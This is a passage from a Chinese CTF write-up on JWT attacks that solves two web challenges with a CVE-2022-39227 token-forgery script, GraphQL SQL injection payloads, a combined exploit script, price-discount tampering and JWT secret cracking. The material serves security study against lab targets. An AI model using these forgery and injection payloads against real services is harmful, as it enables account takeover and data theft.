得到JWT后替换一下，然后post发包即可获取flag
[img=720,398.8965517241379]https://img-blog.csdnimg.cn/37afbbaa566e4ee882fe29e852e0bb88.png[/img]
[祥云杯2022]FunWeb

注：因为这道题没有复现环境了，所以我这里的部分图片是来源于网上，参考的是X1r0z大师傅的https://exp10it.cn/

[img=720,461.4765100671141]https://img-blog.csdnimg.cn/1a8fa69d0463404eb6d7eabe970aed05.png[/img]
进入环境后是个注册界面，接下来随便注册账号后进行登录
[img=720,164.53125]https://img-blog.csdnimg.cn/12d103d781994c478b46df20a1e7610a.png[/img]
发现上方是有两个功能点的
[img=720,486.45441815204236]https://img-blog.csdnimg.cn/5f799137e34443f6bed2e788fa639093.jpeg[/img]
抓获取成绩包后发现这里提示no admin同时发现JWT，想到这里可能需要伪造JWT，JWT最近新出的漏洞是CVE-2022-39227。那么我们就可以尝试用这个漏洞来进行伪造JWT，伪造JWT脚本如下所示

from datetime import timedelta from json import loads, dumps from jwcrypto.common import base64url_decode, base64url_encode def topic(topic): """ Use mix of JSON and compact format to insert forged claims including long expiration """ [header, payload, signature] = topic.split('.')#点分 parsed_payload = loads(base64url_decode(payload))#解码 parsed_payload['is_admin'] = 1#伪造 fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))#编码 return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'#生成恶意载荷 token = topic('eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NjcxMzcwMzAsImlhdCI6MTY2NzEzNjczMCwiaXNfYWRtaW4iOjAsImlzX2xvZ2luIjoxLCJqdGkiOiJ4YWxlR2dadl9BbDBRd1ZLLUgxb0p3IiwibmJmIjoxNjY3MTM2NzMwLCJwYXNzd29yZCI6IjEyMyIsInVzZXJuYW1lIjoiMTIzIn0.YnE5tK1noCJjultwUN0L1nwT8RnaU0XjYi5iio2EgbY7HtGNkSy_pOsnRl37Y5RJvdfdfWTDCzDdiz2B6Ehb1st5Fa35p2d99wzH4GzqfWfH5zfFer0HkQ3mIPnLi_9zFiZ4mQCOLJO9RBL4lD5zHVTJxEDrESlbaAbVOMqPRBf0Z8mon1PjP8UIBfDd4RDlIl9wthO-NlNaAUp45woswLe9YfRAQxN47qrLPje7qNnHVJczvvxR4-zlW0W7ahmYwODfS-KFp8AC80xgMCnrCbSR0_Iy1nsiCEO8w2y3BEcqvflOOVt_lazJv34M5e28q0czbLXAETSzpvW4lVSr7g') print(token)

复制代码

接下来想到我们抓的包的文件名是graphql，而且还有POST参数，可能存在graphql注入。https://www.leavesongs.com/content/files/slides/GraphQL.pdf而后使用 getscoreusingnamehahaha方法查询表结构。

{"query": """{ getscoreusingnamehahaha(name: "null' union select group_concat(sql) FROM sqlite_master; --"){ score name } }"""}

复制代码

返回结果如下

CREATE TABLE users( ID INTEGER PRIMARY KEY, NAME TEXT NOT NULL, PASSWORD TEXT NOT NULL, SCORE TEXT NOT Null )

复制代码

因此可以用这个来查询admin用户成绩，构造最终payload如下。

import json from jwcrypto.common import base64url_decode, base64url_encode import httpx session = httpx.Client(base_url="http://eci-2zeavdwsk859vkrseg75.cloudeci1.ichunqiu.com/") session.post("/signin", json={ "username": "test", "password": "111" } ) _ = session.cookies.get("token") [header, payload, signature] = _.split('.') parsed_payload = json.loads(base64url_decode(payload)) parsed_payload['is_admin'] = 1 fake_payload = base64url_encode((json.dumps(parsed_payload, separators=(',', ':')))) forged_jwt = '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}' session.cookies.delete("token") session.cookies.set("token", forged_jwt) data = {"query": """{ getscoreusingnamehahaha(name: "null' union select password FROM users WHERE name='admin'; --"){ score name } }"""} response = session.post("/graphql", data=data) print(response.text)

复制代码

得到密码后去登录即可得到flag
[CISCN2019 华北赛区 Day1 Web2]ikun

进入后发现有登录和注册界面，常规操作先注册后登录
[img=720,392.56857142857143]https://img-blog.csdnimg.cn/673af6bc1a0040769accd70604db4e60.png[/img]
提示要买到lv6，下划后发现可以买等级
[img=720,476.44570891494044]https://img-blog.csdnimg.cn/e7e2cf22705742cfb3078efd83b2aad8.png[/img]
这里没有lv6，点击下一页看看仍然没有找到lv6，但发现参数是GET型传参
[img=720,503.2671490593343]https://img-blog.csdnimg.cn/471adc753fae40de949e05288ee170fe.png[/img]
这意味着我们可以写个小脚本来查找lv6所在位置发现lv3对应的代码是lv3.png，那么lv6对应的就是lv6.png
[img=720,492.1045140732873]https://img-blog.csdnimg.cn/4d9596cc10f244a8ba3af9dfcf8b7e66.png[/img]
脚本如下

import time import requests url = "http://8e197801-2f87-4e36-aee6-a2390b0f391e.node4.buuoj.cn:81/shop?page=" for i in range(1,300): res = requests.get(url+str(i)) time.sleep(0.5) if "lv6.png" in res.text: print(i) break

复制代码

[img=720,236.65013784350464]https://img-blog.csdnimg.cn/3a7c901e63f5458e859d328d0176acce.png[/img]
181页，找到后发现价格是天价，买不起
[img=720,506.4543219512195]https://img-blog.csdnimg.cn/06faf3f3231146bc9abd03c462aa7e96.png[/img]
这里抓包看一下
[img=720,384.17049805483373]https://img-blog.csdnimg.cn/92c5ad1c68d64115809d6f2ef28eb6b8.png[/img]
发现可以修改折扣，把这个discount修改为0.00000000000001然后发包
[img=720,354.7393326439234]https://img-blog.csdnimg.cn/dcb6e769220d4ba3a078a560fce44404.png[/img]
跳转到了另一个界面但无权限访问再抓包
[img=720,496.28844863083435]https://img-blog.csdnimg.cn/65b9dd775c054ff7a4348cd4c4cb874e.png[/img]
发现JWT，解码一下（解码网站https://jwt.io/）
[img=720,343.8364077727763]https://img-blog.csdnimg.cn/b56f6dbd86ae467196fa3de42b48c09a.png[/img]
我们这里想实现修改root为admin，需要有密钥，爆破密钥可以用工具c-jwt-cracker得到，链接如下https://github.com/brendan-rius/c-jwt-cracker破解后得到密钥为1Kun
[img=720,347.3503111080889]https://img-blog.csdnimg.cn/32ae5f24e6d84b18a865acb37a0e4857.png[/img]
抓包，将得到的值赋给JWT，再发包接下来就是读取源码，然后进行Python反序列化获取最终flag，这里不再演示。
后言

JWT的靶场有很多个，我这里也只是利用了CTFhub和portswig等来进行演示，还有一些靶场例如https://jwt-lab.herokuapp.com/challenges也是比较好的，但鉴于考察点相似，这里不再演示，有兴趣的师傅可以自行尝试。然后还有就是这里的CVE漏洞的分析我主要参考了我们战队lemon大师傅的讲解，大家也可以看一下哇，视频链接如下https://www.bilibili.com/video/BV15d4y1F7i3最后的话本人也只是一个小白，如果有问题还请各位大师傅多多指教。
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浅析JWT Attack

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